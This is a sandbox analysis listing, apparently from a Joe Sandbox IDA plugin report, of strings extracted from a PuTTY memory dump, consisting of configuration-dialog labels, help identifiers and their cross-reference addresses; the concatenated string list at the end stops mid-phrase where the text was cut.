Enable VT100 line drawing even in UTF-8 mode, xrefs: 00007FF67861DC56
Manually enabled workarounds, xrefs: 00007FF6786203BF
config-ssh-bug-derivekey2, xrefs: 00007FF6786205B3
Max data before rekey (0 for no limit), xrefs: 00007FF67861F27B
Poor man's line drawing (+, - and |), xrefs: 00007FF67861DBAA
Bypass authentication entirely (SSH-2 only), xrefs: 00007FF67861F68F
Disable xterm-style mouse reporting, xrefs: 00007FF67861D2C3
Prompt, xrefs: 00007FF67861E6CF
Destination, xrefs: 00007FF6786200B0
Chokes on SSH-1 RSA authentication, xrefs: 00007FF678620667
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/config.c, xrefs: 00007FF67861C0D8, 00007FF67861C102, 00007FF67861C124, 00007FF67861C1E9
Allow attempted changes of username in SSH-2, xrefs: 00007FF67861F7D5
config-ssh-bug-rsa1, xrefs: 00007FF67862065B
Options controlling SSH key exchange, xrefs: 00007FF67861F0F4
config-ssh-bug-rekey, xrefs: 00007FF6786202EC
Permitted roles in a shared connection:, xrefs: 00007FF67861EFCA
Window title:, xrefs: 00007FF67861DA04
Character set translation, xrefs: 00007FF67861DAAA
config-proxy, xrefs: 00007FF67861EA77
config-ssh-bug-dropstart, xrefs: 00007FF6786203EF
Implicit LF in every CR, xrefs: 00007FF67861C998
Connection/SSH/Auth/GSSAPI, xrefs: 00007FF67861F929
Certificate to use with the private key (optional):, xrefs: 00007FF67861F8A5
NetHack, xrefs: 00007FF67861CFBD
Misuses the session ID in SSH-2 PK auth, xrefs: 00007FF678620587
All session output, xrefs: 00007FF67861C624
Share SSH connections if possible, xrefs: 00007FF67861EFAE
config-features-clearscroll, xrefs: 00007FF67861D419
Handling of line drawing characters:, xrefs: 00007FF67861DBFD
Username, xrefs: 00007FF67861EC56
config-printing, xrefs: 00007FF67861CBEA
config-ssh-bug-rsa-sha2-cert-userauth, xrefs: 00007FF67862049B
This:, xrefs: 00007FF67861FC41
Add new forwarded port:, xrefs: 00007FF67861FFF5
Host Name (or IP address), xrefs: 00007FF67861BF7C
config-serial-parity, xrefs: 00007FF678620859
Set, xrefs: 00007FF67861DFED, 00007FF67861FBC2
Connection/SSH/Tunnels, xrefs: 00007FF67861FE5A
Passive, xrefs: 00007FF6786209EA
Control the scrollback in the window, xrefs: 00007FF67861D637
s, xrefs: 00007FF67861C686
config-rectselect, xrefs: 00007FF67861DD2B
aux, xrefs: 00007FF67861F778
Detection of known bugs in SSH servers, xrefs: 00007FF67862027E
Connection/SSH/Bugs, xrefs: 00007FF67862025E
Options controlling SSH authentication, xrefs: 00007FF67861F624
Blue, xrefs: 00007FF67861E304
config-sharrow, xrefs: 00007FF67861CEB7
charclass, xrefs: 00007FF67861DEB4
config-ssh-noauth, xrefs: 00007FF67861F696
config-features-charset, xrefs: 00007FF67861D473
Allow terminal to use xterm 256-colour mode, xrefs: 00007FF67861E096
{Ctrl,Shift} + Ins:, xrefs: 00007FF67861DE09
**MORE** processing, xrefs: 00007FF678620C70
SSH packets, xrefs: 00007FF67861C57E
Seconds between keepalives (0 to turn off), xrefs: 00007FF67861E3EA
Disable Arabic text shaping, xrefs: 00007FF67861D499
Add key, xrefs: 00007FF67861F4F4
When username is not specified:, xrefs: 00007FF67861E701
Select library file, xrefs: 00007FF67861FA3B
config-logssh, xrefs: 00007FF67861C88A
The Home and End keys, xrefs: 00007FF67861CD29
Normal, xrefs: 00007FF67861CF43, 00007FF67861DD08
ESC[n~, xrefs: 00007FF67861CE1D
config-bellovl, xrefs: 00007FF67861D130
Upstream (connecting to the real server), xrefs: 00007FF67861EFF0
Only until session starts, xrefs: 00007FF67861ED3C
config-ptelnet, xrefs: 00007FF678620A00
overload, xrefs: 00007FF67861D0EB
6, xrefs: 00007FF6786201F8
Answerback to ^E:, xrefs: 00007FF67861CA46
config-ssh-notrivialauth, xrefs: 00007FF67861F6C3
Set the style of bell, xrefs: 00007FF67861D03B
data, xrefs: 00007FF67861EE69, 00007FF678620ABC
Low-level TCP connection options, xrefs: 00007FF67861E421
Hide mouse pointer when typing in window, xrefs: 00007FF67861D8FD
Green, xrefs: 00007FF67861E2BB
For selected mode, send:, xrefs: 00007FF67861FB97
Minutes between GSS checks (0 for never), xrefs: 00007FF67861F22F
Disable remote-controlled window title changing, xrefs: 00007FF67861D34A
Keyboard sends Telnet special commands, xrefs: 00007FF678620A41
config-ssh-noshell, xrefs: 00007FF67861EF08
Adjust the behaviour of the window title, xrefs: 00007FF67861D9BB
Default selection mode (Alt+drag does the other one):, xrefs: 00007FF67861DD50
Terminal, xrefs: 00007FF67861C8C8, 00007FF67861CBB4
config-telnetnl, xrefs: 00007FF678620A75
config-ssh-kex-cert, xrefs: 00007FF67861F382, 00007FF67861F569
config-telnetkey, xrefs: 00007FF678620A48
Options controlling the terminal bell, xrefs: 00007FF67861D022
Logical name of remote host, xrefs: 00007FF67861E587
Disable destructive backspace on server sending ^?, xrefs: 00007FF67861D43F
Classes of character that group together, xrefs: 00007FF67861DEBB
config-rlogin-localuser, xrefs: 00007FF678620B00
Reset scrollback on display activity, xrefs: 00007FF67861D70D
config-winborder, xrefs: 00007FF67861D95A
Treat CJK ambiguous characters as wide, xrefs: 00007FF67861DB36
Options controlling Rlogin connections, xrefs: 00007FF678620AAA
Chokes on SSH-2 ignore messages, xrefs: 00007FF6786202C0
Configure host CAs, xrefs: 00007FF67861F37B, 00007FF67861F562
Prefer algorithms for which a host key is known, xrefs: 00007FF67861F325
Authentication methods, xrefs: 00007FF67861F6DC
Red, xrefs: 00007FF67861E272
Adjust the precise colours %s displays, xrefs: 00007FF67861E177
Attempt authentication using Pageant, xrefs: 00007FF67861F705
Adjust how %s handles line drawing characters, xrefs: 00007FF67861DB4F
config-ssh-prefer-known-hostkeys, xrefs: 00007FF67861F32C
config-ssh-pty, xrefs: 00007FF67861FAB1
Exclude Hosts/IPs, xrefs: 00007FF67861EB3F
serline, xrefs: 00007FF6786206D5
Bell is temporarily disabled when over-used, xrefs: 00007FF67861D129
Never, xrefs: 00007FF67861C4E7
Select certificate file, xrefs: 00007FF67861F894
Credentials to authenticate with, xrefs: 00007FF67861F7F5
config-loghost, xrefs: 00007FF67861E5CE
Options controlling proxy usage, xrefs: 00007FF67861E9C6
Workarounds for SSH server bugs, xrefs: 00007FF678620265
Terminal/Bell, xrefs: 00007FF67861D01B
Implicit CR in every LF, xrefs: 00007FF67861C96B
Miscomputes SSH-2 encryption keys, xrefs: 00007FF6786205BF
Connection/SSH/More bugs, xrefs: 00007FF67862044B
Preference order for GSSAPI libraries:, xrefs: 00007FF67861FA03
Port forwarding, xrefs: 00007FF67861FE7A
Options controlling SSH host keys, xrefs: 00007FF67861F2AC
sercfg, xrefs: 00007FF678620741
config-command, xrefs: 00007FF67861EEAD
config-ssh-privkey, xrefs: 00007FF67861F83E
config-ssh-banner, xrefs: 00007FF67861F669
config-ssh-auth-gssapi-delegation, xrefs: 00007FF67861F9CE
Open, xrefs: 00007FF67861BE2C
Flow control, xrefs: 00007FF6786208A5
Refuses all SSH-1 password camouflage, xrefs: 00007FF67862062F
Attempt "keyboard-interactive" auth (SSH-2), xrefs: 00007FF67861F75F
config-ssh-agentfwd, xrefs: 00007FF67861F7AF
Don't start a shell or command at all, xrefs: 00007FF67861EF01
Cancel, xrefs: 00007FF67861BE78
Specify the destination you want to connect to, xrefs: 00007FF67861BF1E
config-charclasses, xrefs: 00007FF67861DF00
config-ssh-bug-chanreq, xrefs: 00007FF67862035C
Connection/SSH/Auth, xrefs: 00007FF67861F61D
config-proxy-exclude, xrefs: 00007FF67861EB33
Sending of null packets to keep session active, xrefs: 00007FF67861E39A
Password, xrefs: 00007FF67861EC9E
Old RSA/SHA2 cert algorithm naming, xrefs: 00007FF6786204A7
config-proxy-dns, xrefs: 00007FF67861EBF2
Push erased text into scrollback, xrefs: 00007FF67861D736
Source port, xrefs: 00007FF678620067
main, xrefs: 00007FF67861C55B, 00007FF67861D23E, 00007FF67861DA45, 00007FF67861F106, 00007FF67861F636, 00007FF678620277, 00007FF678620B59
config-ssh-encryption, xrefs: 00007FF67861F5CF
Add, xrefs: 00007FF67861E8D1, 00007FF678620019
(Log file name can contain &Y, &M, &D for date, &T for time, &H for host name, and &P for port number), xrefs: 00007FF67861C70E
config-features-shaping, xrefs: 00007FF67861D4A0
Configure the appearance of %s's window, xrefs: 00007FF67861D74F
r, xrefs: 00007FF67861C67B
config-ssh-x11auth, xrefs: 00007FF67861FE2D
Login details, xrefs: 00007FF67861E60E
Disable application keypad mode, xrefs: 00007FF67861D29A
Disable bidirectional text display, xrefs: 00007FF67861D4C6
Options controlling GSSAPI authentication, xrefs: 00007FF67861F930
config-ssh-kex-order, xrefs: 00007FF67861F144
Encryption options, xrefs: 00007FF67861F59B
Requires padding on SSH-2 RSA signatures, xrefs: 00007FF6786204DF
Over-use means this many bells..., xrefs: 00007FF67861D172
backends[i], xrefs: 00007FF67861C16F
config-logfileexists, xrefs: 00007FF67861C792
Enable legacy use of single-DES in SSH-2, xrefs: 00007FF67861F5FF
Ctrl + Shift + {C,V}:, xrefs: 00007FF67861DE3A
Terminal details, xrefs: 00007FF67861E728
config-ssh-bug-hmac2, xrefs: 00007FF678620543
Printer to send ANSI printer output to:, xrefs: 00007FF67861CBF6
Configure the serial line, xrefs: 00007FF678620748
General options for colour usage, xrefs: 00007FF67861E040
config-ssh-authplugin, xrefs: 00007FF67861F905
Saved Sessions, xrefs: 00007FF67861C32E
Cursor blinks, xrefs: 00007FF67861D868
Allow agent forwarding, xrefs: 00007FF67861F7A8
Control the bell overload behaviour, xrefs: 00007FF67861D0F2
Shift/Ctrl/Alt with the arrow keys, xrefs: 00007FF67861CECC
Parity, xrefs: 00007FF678620865
Terminal scrolling, xrefs: 00007FF678620C9D
Close window on exit:, xrefs: 00007FF67861C52A
Auto-login username, xrefs: 00007FF67861E65A
Options controlling the terminal emulation, xrefs: 00007FF67861C8CF
Consider proxying local host connections, xrefs: 00007FF67861EB6B
config-linedrawpaste, xrefs: 00007FF67861DC30
Location string, xrefs: 00007FF678620BA5
config-closeonexit, xrefs: 00007FF67861C515
Rectangular block, xrefs: 00007FF67861DCF7
config-boldcolour, xrefs: 00007FF67861E14A
Control-H, xrefs: 00007FF67861CC7A
Attempt TIS or CryptoCard auth (SSH-1), xrefs: 00007FF67861F732
xterm-style bitmap, xrefs: 00007FF67861CE90
config-features-dbackspace, xrefs: 00007FF67861D446
config-erasetoscrollback, xrefs: 00007FF67861D73D
Options controlling SSH X11 forwarding, xrefs: 00007FF67861FD2C
ipversion, xrefs: 00007FF67861E490
Underline, xrefs: 00007FF67861D7DE
Connection/SSH/Host keys, xrefs: 00007FF67861F2A5, 00007FF67861F343, 00007FF67861F3AB
Options specific to SSH packet logging, xrefs: 00007FF67861C85D
config-winsize, xrefs: 00007FF67861D5A3
supdup-scroll, xrefs: 00007FF678620CA4
Xterm 216+, xrefs: 00007FF67861CDAB
Forwarded ports:, xrefs: 00007FF67861FF09
Options controlling Telnet connections, xrefs: 00007FF6786208EB
config-ssh-cert, xrefs: 00007FF67861F888
config-ssh-portfwd, xrefs: 00007FF67861FF10
mappings, xrefs: 00007FF67861CC27
config-mouseptr, xrefs: 00007FF67861D904
Rows, xrefs: 00007FF67861D5F7
Select a colour to adjust:, xrefs: 00007FF67861E208
supdup-ascii, xrefs: 00007FF678620C2F
Further workarounds for SSH server bugs, xrefs: 00007FF678620452
The Function keys and keypad, xrefs: 00007FF67861CE52
Flush log file frequently, xrefs: 00007FF67861C7DA
Session logging:, xrefs: 00007FF67861C6A9
config-ssh-bug-ignore1, xrefs: 00007FF6786205EB
Dynamic, xrefs: 00007FF6786200F7
Window, xrefs: 00007FF67861D4F8, 00007FF67861D53A, 00007FF67861D629
supdup-location, xrefs: 00007FF678620B99
config-selection-clipactions, xrefs: 00007FF67861DDCC
Local line editing:, xrefs: 00007FF67861CB8B
Force off, xrefs: 00007FF67861CAAD, 00007FF67861CB4C
Character classes:, xrefs: 00007FF67861DEF9
config-answerback, xrefs: 00007FF67861CA3A
Local ports accept connections from other hosts, xrefs: 00007FF67861FEA3
Always append to the end of it, xrefs: 00007FF67861C764
User-supplied GSSAPI library path:, xrefs: 00007FF67861FA4C
config-paste-ctrl-char, xrefs: 00007FF67861DE89
config-termspeed, xrefs: 00007FF67861E7B7
Key exchange algorithm options, xrefs: 00007FF67861F10D
Lines of scrollback, xrefs: 00007FF67861D685
config-saving, xrefs: 00007FF67861C322, 00007FF67861C3DC, 00007FF67861C412, 00007FF67861C457
Cursor appearance:, xrefs: 00007FF67861D83C
Logical name of remote host (e.g. for SSH key lookup):, xrefs: 00007FF67861E575
savedsessions, xrefs: 00007FF67861C2C8
Initial state of cursor keys:, xrefs: 00007FF67861CF75
term, xrefs: 00007FF67861E721
Window/Translation, xrefs: 00007FF67861DA8A
Adjust the use of the cursor, xrefs: 00007FF67861D785
Copy and paste line drawing characters as lqqqk, xrefs: 00007FF67861DC29
... in this many seconds, xrefs: 00007FF67861D1BA
Active, xrefs: 00007FF6786209D9
Control pasting of text from clipboard to terminal, xrefs: 00007FF67861DE59
Allow terminal to use 24-bit colours, xrefs: 00007FF67861E0C3
Attempt GSSAPI key exchange, xrefs: 00007FF67861F174
Basic options for your %s session, xrefs: 00007FF67861BEA7
Select private key file, xrefs: 00007FF67861F84A
Handling of OLD_ENVIRON ambiguity:, xrefs: 00007FF67862099B
config-serial-line, xrefs: 00007FF678620716
Connection/SSH, xrefs: 00007FF67861EDF0, 00007FF67861EE20, 00007FF67861EE62, 00007FF67861EF21, 00007FF67861EF77
The bell is re-enabled after a few seconds of silence., xrefs: 00007FF67861D1D2
Options controlling SSH connections, xrefs: 00007FF67861EDF7
Options controlling session logging, xrefs: 00007FF67861C549
Chokes on PuTTY's full KEXINIT, xrefs: 00007FF678620433
Connection/SSH/Auth/Credentials, xrefs: 00007FF67861F7EE
Empty string, xrefs: 00007FF67861D3A7
Auto, xrefs: 00007FF67861CACF, 00007FF67861E501, 00007FF67861EBC4, 00007FF67861FC63, 00007FF6786201C2
Omit known password fields, xrefs: 00007FF67861C883
config-utf8linedraw, xrefs: 00007FF67861DC5D
Remote command:, xrefs: 00007FF67861EEB9
config-ssh-sharing, xrefs: 00007FF67861EFB5
Miscomputes SSH-2 HMAC keys, xrefs: 00007FF67862054F
Chokes on PuTTY's SSH-2 'winadj' requests, xrefs: 00007FF678620330
Connection/Data, xrefs: 00007FF67861E5EE
Set to class, xrefs: 00007FF67861DFB8
Modify, xrefs: 00007FF67861E339
plugin, xrefs: 00007FF67861F8BA
config-termtype, xrefs: 00007FF67861E768
Ignores SSH-2 maximum packet size, xrefs: 00007FF6786203A0
Serial line to connect to, xrefs: 00007FF678620722
SSH protocol version:, xrefs: 00007FF67861F0C3
X display location, xrefs: 00007FF67861FDBE
IPv4, xrefs: 00007FF67861E4F0, 00007FF6786201B1
supdup-more, xrefs: 00007FF678620C77
Font used in the terminal window, xrefs: 00007FF67861D8B4
f, xrefs: 00007FF67862098B
Ctrl toggles app mode, xrefs: 00007FF67861CEA1
Enabling and disabling advanced terminal features, xrefs: 00007FF67861D22C
Save, xrefs: 00007FF67861C40B
Permit control characters in pasted text, xrefs: 00007FF67861DE82
config-logflush, xrefs: 00007FF67861C7E1
Data to send to the server, xrefs: 00007FF67861E5F5, 00007FF67861EE70, 00007FF678620AC3
config-hostname, xrefs: 00007FF67861BF70, 00007FF67861C25A
config-title, xrefs: 00007FF67861D9F8
Select a colour from the list, and then click the Modify button to change its appearance., xrefs: 00007FF67861E1AD
Variable, xrefs: 00007FF67861E854
PuTTY Private Key Files (*.ppk), xrefs: 00007FF67861F862
Terminal-type string, xrefs: 00007FF67861E774
Line discipline options, xrefs: 00007FF67861CA65
Adjust the window border, xrefs: 00007FF67861D91D
Only on clean exit, xrefs: 00007FF67861C4D6
config-mouseshift, xrefs: 00007FF67861DCBF
config-appcursor, xrefs: 00007FF67861CF60
Algorithm selection policy:, xrefs: 00007FF67861F13D
config-ssh-hostkey-order, xrefs: 00007FF67861F2F5
config-selection-autocopy, xrefs: 00007FF67861DD9F
Load, xrefs: 00007FF67861C3D5
identity, xrefs: 00007FF67861E580
Options controlling character set translation, xrefs: 00007FF67861DA91
config-lfcr, xrefs: 00007FF67861C99F
Options controlling the effects of keys, xrefs: 00007FF67861CC15
Telnet protocol adjustments, xrefs: 00007FF678620904
Connection/SSH/X11, xrefs: 00007FF67861FD25
disclaimer, xrefs: 00007FF67861EE27
Separate window and icon titles, xrefs: 00007FF67861DA30
The font, xrefs: 00007FF67861E134
Local, xrefs: 00007FF678620119
hostport, xrefs: 00007FF67861BF17
Max minutes before rekey (0 for no limit), xrefs: 00007FF67861F1E7
RGB value:, xrefs: 00007FF67861E233
Dynamic Library Files (*.dll), xrefs: 00007FF67861FA53
Font settings, xrefs: 00007FF67861D884
Disable Nagle's algorithm (TCP_NODELAY option), xrefs: 00007FF67861E44A
Public-key authentication, xrefs: 00007FF67861F80E
Disconnect if authentication succeeds trivially, xrefs: 00007FF67861F6BC
The Backspace key, xrefs: 00007FF67861CCAF
Window/Colours, xrefs: 00007FF67861E020
Extended ASCII Character set:, xrefs: 00007FF678620C44
Manually configure host keys for this connection, xrefs: 00007FF67861F3B9
Options controlling SSH encryption, xrefs: 00007FF67861F582
config-proxy-command, xrefs: 00007FF67861ECE5
config-ssh-bug-plainpw1, xrefs: 00007FF678620623
Enable blinking text, xrefs: 00007FF67861C9F2
Change the sequences sent by:, xrefs: 00007FF67861CC2E
1 (INSECURE), xrefs: 00007FF67861F070
Always, xrefs: 00007FF67861C4F8
config-logfilename, xrefs: 00007FF67861C6DC
Remote X11 authentication protocol, xrefs: 00007FF67861FE42
Reset scrollback on keypress, xrefs: 00007FF67861D6E4
Terminal modes, xrefs: 00007FF67861FACA
Internet protocol version, xrefs: 00007FF67861E497
config-features-resize, xrefs: 00007FF67861D2F7
Connection type:, xrefs: 00007FF67861C000
None, xrefs: 00007FF67861C646, 00007FF67861D3B8, 00007FF678620C12
Proxy hostname, xrefs: 00007FF67861EA83
config-ssh-bug-oldgex2, xrefs: 00007FF67862050B
Ask the user every time, xrefs: 00007FF67861C753
Control use of mouse, xrefs: 00007FF67861DC88
Configure trusted certification authorities, xrefs: 00007FF67861F351, 00007FF67861F535
config-ssh-portfwd-localhost, xrefs: 00007FF67861FEAA
c->radio.nbuttons == 0, xrefs: 00007FF67861C0D1
Remote ports do the same (SSH-2 only), xrefs: 00007FF67861FED3
sshtty, xrefs: 00007FF67861FA7E
Display scrollbar, xrefs: 00007FF67861D6BB
Action to happen when a bell occurs:, xrefs: 00007FF67861D0D3
Set the size of the window, xrefs: 00007FF67861D548
config-address-family, xrefs: 00007FF67861E51E
Application keypad settings:, xrefs: 00007FF67861CEEB
config-proxy-logging, xrefs: 00007FF67861ED7D
Encryption cipher selection policy:, xrefs: 00007FF67861F5C8
config-charset, xrefs: 00007FF67861DAE6
Connection/SUPDUP, xrefs: 00007FF678620B40
Enable X11 forwarding, xrefs: 00007FF67861FD6E
Options controlling key re-exchange, xrefs: 00007FF67861F194
protocol, xrefs: 00007FF67861EED1, 00007FF67861EF28, 00007FF67861F02E, 00007FF6786208FD
config-username, xrefs: 00007FF67861E64E
config-ssh-changeuser, xrefs: 00007FF67861F7DC
config-warnonclose, xrefs: 00007FF67861DA78
Nothing, xrefs: 00007FF67861FC52
Apply, xrefs: 00007FF67861BE25
MIT-Magic-Cookie-1, xrefs: 00007FF67861FE10
Remote, xrefs: 00007FF678620108
Allow terminal to specify ANSI colours, xrefs: 00007FF67861E069
config-ssh-bug-pksessid2, xrefs: 00007FF67862057B
config-ssh-portfwd-address-family, xrefs: 00007FF6786201E0
Remove, xrefs: 00007FF67861E903, 00007FF67861F430, 00007FF67861FF52
config-blink, xrefs: 00007FF67861C9F9
Only supports pre-RFC4419 SSH-2 DH GEX, xrefs: 00007FF678620517
Connection/Telnet, xrefs: 00007FF6786208E4
tcp, xrefs: 00007FF67861E41A
Do DNS name lookup at proxy end:, xrefs: 00007FF67861EC07
Auto wrap mode initially on, xrefs: 00007FF67861C911
Both, xrefs: 00007FF67861E112
Omit session data, xrefs: 00007FF67861C8B3
config-appkeypad, xrefs: 00007FF67861CFEE
Stop bits, xrefs: 00007FF678620825
Save the current session settings, xrefs: 00007FF67861BEE5
ldisc, xrefs: 00007FF67861CA5E
Options controlling the connection, xrefs: 00007FF67861E381
Make default system alert sound, xrefs: 00007FF67861D097
Window title, xrefs: 00007FF67861D396
Connection/SSH/Cipher, xrefs: 00007FF67861F57B
(Use 1M for 1 megabyte, 1G for 1 gigabyte etc), xrefs: 00007FF67861F293
config-linedraw, xrefs: 00007FF67861DBD8
config-homeend, xrefs: 00007FF67861CD14
config-serial-flow, xrefs: 00007FF678620899
Window/Selection/Copy, xrefs: 00007FF67861DE9B
config-ssh-ki, xrefs: 00007FF67861F766
Remote-controlled printing, xrefs: 00007FF67861CBAA
Logical name of remote host:, xrefs: 00007FF67861E56E
config-nodelay, xrefs: 00007FF67861E451
config-serial-speed, xrefs: 00007FF678620785
Connection/Proxy, xrefs: 00007FF67861E9BF
config-features-application, xrefs: 00007FF67861D271
config-username-from-env, xrefs: 00007FF67861E6EC
Options controlling %s's window, xrefs: 00007FF67861D4DF
config-ssh-bug-filter-kexinit, xrefs: 00007FF678620427
Disable application cursor keys mode, xrefs: 00007FF67861D26A
config-serial-databits, xrefs: 00007FF6786207CD
config-features-retitle, xrefs: 00007FF67861D351
b, xrefs: 00007FF678620993
Yes, xrefs: 00007FF67861EBB3
config-features-bidi, xrefs: 00007FF67861D4CD
rxvt, xrefs: 00007FF67861CCED
general, xrefs: 00007FF67861C8E1, 00007FF67861E039
adjust, xrefs: 00007FF67861E18D
Mouse paste action:, xrefs: 00007FF67861DDD8
config-logheader, xrefs: 00007FF67861C80E
Terminal speeds, xrefs: 00007FF67861E7C3
Response to remote title query (SECURITY):, xrefs: 00007FF67861D3E3
otheropts, xrefs: 00007FF67861C48E
config-truecolour, xrefs: 00007FF67861E0CA
SSH packets and raw data, xrefs: 00007FF67861C585
manual, xrefs: 00007FF6786203B8
config-ssh-x11, xrefs: 00007FF67861FD75
What to do if the log file already exists:, xrefs: 00007FF67861C7A7
Use Unicode line drawing code points, xrefs: 00007FF67861DBBB
Assign copy/paste actions to clipboards, xrefs: 00007FF67861DD6F
Display pre-authentication banner (SSH-2 only), xrefs: 00007FF67861F662
config-ssh-bug-maxpkt2, xrefs: 00007FF678620394
Columns, xrefs: 00007FF67861D5AF
Disable remote-controlled character set configuration, xrefs: 00007FF67861D46C
config-funkeys, xrefs: 00007FF67861CE3A
config-decom, xrefs: 00007FF67861C945
config-tcp-keepalives, xrefs: 00007FF67861E47E
config-localecho, xrefs: 00007FF67861CAEC
config-ssh-kex-rekey, xrefs: 00007FF67861F1DB
Remote terminal settings, xrefs: 00007FF67861FA6C
config-scrollback, xrefs: 00007FF67861D679
Initial state of numeric keypad:, xrefs: 00007FF67861D003
Host key algorithm preference, xrefs: 00007FF67861F2BE
config-ssh-bug-ignore2, xrefs: 00007FF6786202B4
Enable TCP keepalives (SO_KEEPALIVE option), xrefs: 00007FF67861E477
config-bellstyle, xrefs: 00007FF67861D0BE
Protocol options, xrefs: 00007FF67861EED8, 00007FF67861EF2F, 00007FF67861F035
Data bits, xrefs: 00007FF6786207D9
Downstream (connecting to the upstream PuTTY), xrefs: 00007FF67861F019
Replies to requests on closed channels, xrefs: 00007FF678620368
Auto-copy selected text to system clipboard, xrefs: 00007FF67861DD98
Printable output, xrefs: 00007FF67861C635
Log file name:, xrefs: 00007FF67861C6F9
config-ssh-kex-manual-hostkeys, xrefs: 00007FF67861F3EE
config-keepalive, xrefs: 00007FF67861E3DE
config-colourcfg, xrefs: 00007FF67861E1B4
XDM-Authorization-1, xrefs: 00007FF67861FDFF
config-ssh-auth-gssapi, xrefs: 00007FF67861F17B, 00007FF67861F975
Session/Logging, xrefs: 00007FF67861C542, 00007FF67861C84F
SCO, xrefs: 00007FF67861CDC2
Seconds of silence required, xrefs: 00007FF67861D20D
Force on, xrefs: 00007FF67861CABE
Shift overrides application's use of mouse, xrefs: 00007FF67861DCB8
Application, xrefs: 00007FF67861CF32
Connection/SSH/TTY, xrefs: 00007FF67861FA65
The colour, xrefs: 00007FF67861E123
RFC 1408 (unusual), xrefs: 00007FF678620948

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: NameUser
String ID: (Log file name can contain &Y, &M, &D for date, &T for time, &H for host name, and &P for port number)$(Use 1M for 1 megabyte, 1G for 1 gigabyte etc)$**MORE** processing$... in this many seconds$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/config.c$1 (INSECURE)$6$Action to happen when a bell occurs:$Active$Add$Add key$Add new forwarded port:$Adjust how %s handles line drawing characters$Adjust the behaviour of the window title$Adjust the precise colours %s displays$Adjust the use of the cursor$Adjust the use of the mouse pointer$Adjust the window border$Algorithm selection policy:$All session output$Allow GSSAPI credential delegation$Allow agent forwarding$Allow attempted changes of username in SSH-2$Allow terminal to specify ANSI colours$Allow terminal to use 24-bit colours$Allow terminal to use xterm 256-colour mode$Always$Always append to the end of it$Always overwrite it$Answerback to ^E:$Application$Application keypad settings:$Apply$Ask the user every time$Assign copy/paste actions to clipboards$Attempt "keyboard-interactive" auth (SSH-2)$Attempt GSSAPI authentication (SSH-2 only)$Attempt GSSAPI key exchange$Attempt GSSAPI key exchange (SSH-2 only)$Attempt TIS or CryptoCard auth (SSH-1)$Attempt authentication using Pageant$Authentication methods$Auto$Auto wrap mode initially on$Auto-copy selected text to system clipboard$Auto-login username$BSD (commonplace)$Basic options for your %s session$Bell is temporarily disabled when over-used$Block$Blue$Both$Bypass authentication entirely (SSH-2 only)$Cancel$Certificate to use with the private key (optional):$Change the sequences sent by:$Character classes:$Character set translation$Chokes on PuTTY's SSH-2 'winadj' requests$Chokes on PuTTY's full KEXINIT$Chokes on SSH-1 RSA authentication$Chokes on SSH-1 ignore messages$Chokes on SSH-2 ignore messages$Classes of character that group together$Close window on exit:$Columns$Command to send to proxy (for some types)$Configure host CAs$Configure the appearance of %s's window$Configure the behaviour of %s's window$Configure the serial line$Configure trusted certification authorities$Connection$Connection type:$Connection/Data$Connection/Proxy$Connection/Rlogin$Connection/SSH$Connection/SSH/Auth$Connection/SSH/Auth/Credentials$Connection/SSH/Auth/GSSAPI$Connection/SSH/Bugs$Connection/SSH/Cipher$Connection/SSH/Host keys$Connection/SSH/Kex$Connection/SSH/More bugs$Connection/SSH/TTY$Connection/SSH/Tunnels$Connection/SSH/X11$Connection/SUPDUP$Connection/Serial$Connection/Telnet$Consider proxying local host connections$Control pasting of text from clipboard to terminal$Control the bell overload behaviour$Control the scrollback in the window$Control use of mouse$Control-? (127)$Control-H$Copy and paste line drawing characters as lqqqk$Credentials to authenticate with$Ctrl + Shift + {C,V}:$Ctrl toggles app mode$Cursor appearance:$Cursor blinks$DEC Origin Mode initially on$Data bits$Data to send to the server$Default selection mode (Alt+drag does the other one):$Delete$Destination$Detection of known bugs in SSH servers$Disable Arabic text shaping$Disable Nagle's algorithm (TCP_NODELAY option)$Disable application cursor keys mode$Disable application keypad mode$Disable bidirectional text display$Disable destructive backspace on server sending ^?$Disable remote-controlled character set configuration$Disable remote-controlled clearing of scrollback$Disable remote-controlled terminal resizing$Disable remote-controlled window title changing$Disable switching to alternate terminal screen$Disable xterm-style mouse reporting$Discards data sent before its greeting$Disconnect if authentication succeeds trivially$Display pre-authentication banner (SSH-2 only)$Display scrollbar$Do DNS name lookup at proxy end:$Don't allocate a pseudo-terminal$Don't start a shell or command at all$Downstream (connecting to the upstream PuTTY)$Dynamic$Dynamic Library Files (*.dll)$ESC[n~$Empty string$Enable TCP keepalives (SO_KEEPALIVE option)$Enable VT100 line drawing even in UTF-8 mode$Enable X11 forwarding$Enable blinking text$Enable compression$Enable legacy use of single-DES in SSH-2$Enabling and disabling advanced terminal features$Encryption cipher selection policy:$Encryption options$Environment variables$Exclude Hosts/IPs$Extended ASCII Character set:$Flow control$Flush log file frequently$Font settings$Font used in the terminal window$For selected mode, send:$Force off$Force on$Forwarded ports:$Further workarounds for SSH server bugs$Gap between text and window edge:$General options for colour usage$Green$Handles SSH-2 key re-exchange badly$Handling of OLD_ENVIRON ambiguity:$Handling of line drawing characters:$Hide mouse pointer when typing in window$Host Name (or IP address)$Host key algorithm preference$Host keys or fingerprints to accept:$IPv4$IPv6$Ignores SSH-2 maximum packet size$Implicit CR in every LF$Implicit LF in every CR$Include header$Indicate bolded text by changing:$Initial state of cursor keys:$Initial state of numeric keypad:$Internet protocol version$Key$Key exchange algorithm options$Keyboard sends Telnet special commands$Line discipline options$Lines of 